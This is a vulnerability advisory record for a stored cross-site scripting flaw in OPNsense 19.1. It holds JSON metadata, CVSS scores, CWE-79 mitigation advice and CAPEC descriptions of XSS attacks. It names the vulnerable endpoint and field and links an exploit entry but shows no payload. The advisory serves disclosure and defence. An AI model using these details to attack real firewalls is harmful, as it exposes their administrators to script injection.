Vulnerability from github – Published: 2026-02-15 15:31 – Updated: 2026-02-15 15:31OPNsense 19.1 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts by submitting crafted input to the category parameter. Attackers can send POST requests to firewall_rules_edit.php with script payloads in the category field to execute arbitrary JavaScript in the browsers of other users accessing firewall rule pages.
{
"affected": [],
"aliases": [
"CVE-2019-25373"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-15T14:16:07Z",
"severity": "MODERATE"
},
"details": "OPNsense 19.1 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts by submitting crafted input to the category parameter. Attackers can send POST requests to firewall_rules_edit.php with script payloads in the category field to execute arbitrary JavaScript in the browsers of other users accessing firewall rule pages.",
"id": "GHSA-xq5r-rwpv-6jwc",
"modified": "2026-02-15T15:31:31Z",
"published": "2026-02-15T15:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25373"
},
{
"type": "WEB",
"url": "https://forum.opnsense.org/index.php?topic=11469.0"
},
{
"type": "WEB",
"url": "https://opnsense.org"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46351"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/opnsense-stored-xss-via-firewallruleseditphp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.